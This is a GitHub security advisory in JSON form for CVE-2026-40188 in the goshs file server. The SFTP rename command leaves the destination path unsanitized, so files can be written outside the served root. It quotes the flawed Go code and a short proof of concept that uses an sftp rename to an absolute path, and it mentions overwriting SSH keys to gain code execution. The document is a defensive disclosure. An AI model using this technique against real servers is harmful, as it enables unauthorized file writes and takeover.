CVE-2026-40188: Github.com/patrickhener/goshs Goshs Is Missing Write Protection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2943-crp8-38xx",
  "modified" : "2026-06-08T20:08:46Z",
  "published" : "2026-04-10T20:00:28Z",
  "aliases" : [ "CVE-2026-40188" ],
  "summary" : "goshs is Missing Write Protection for Parametric Data Values",
  "details" : "### Summary\nThe SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. \n\n### Details\n\nHere is the issue:\n```go\n// helper.go:155-215\nfunc cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error {\n    fullPath, err := sanitizePath(r.Filepath, root)  // Source: SANITIZED\n    if err != nil {\n        return err\n    }\n    switch r.Method {\n    // ...\n    case \"Rename\":\n        err := os.Rename(fullPath, r.Target)  // Destination: NOT SANITIZED!\n```\n\n\n### PoC\n\nTo exploit just upload a file on the SFTP and rename it to a file with full path. \n\nCurrently no key.txt file inside /tmp\n\n``` bash\n$ ls key.txt\nls: key.txt: No such file or directory\n```\n\n\nStart the SFTP server:\n``` bash\n/tmp/sftp-server $ goshs -sftp -b 'user:user' -d .\nWARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode\nWARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs.\nINFO   [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022\nWARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too.\nINFO   [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user'\nINFO   [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded\nINFO   [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000\nINFO   [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000\nINFO   [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server\n```\n\nConnect to the SFTP and uploading the file:\n``` bash\n$ sftp -P 2022 user@localhost\nuser@localhost's password:\nConnected to localhost.\nsftp> put /Users/user/Downloads/key.txt\nUploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt\nkey.txt                                                                                                                                                   100%   15    40.9KB/s   00:00\n```\n\nThe file is stored properly. \n\ngoshs log:\n```\nINFO   [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - \"/tmp/sftp-server/key.txt\"\n```\n\nRename command with full path:\n``` bash\nsftp> rename key.txt /tmp/key.txt\n```\n\ngoshs log:\n```\nINFO   [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - \"/tmp/sftp-server/key.txt to /tmp/key.txt\"\n```\n\nKey file is now in /tmp\n```\n$ ls key.txt\nkey.txt\n```\n\n\n### Impact\nThis allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/patrickhener/goshs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.7"
      }, {
        "last_affected" : "1.1.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/security/advisories/GHSA-2943-crp8-38xx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40188"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/commit/141c188ce270ffbec087844a50e5e695b7da7744"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patrickhener/goshs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1314" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T20:00:28Z",
    "nvd_published_at" : "2026-04-10T20:16:23Z"
  }
}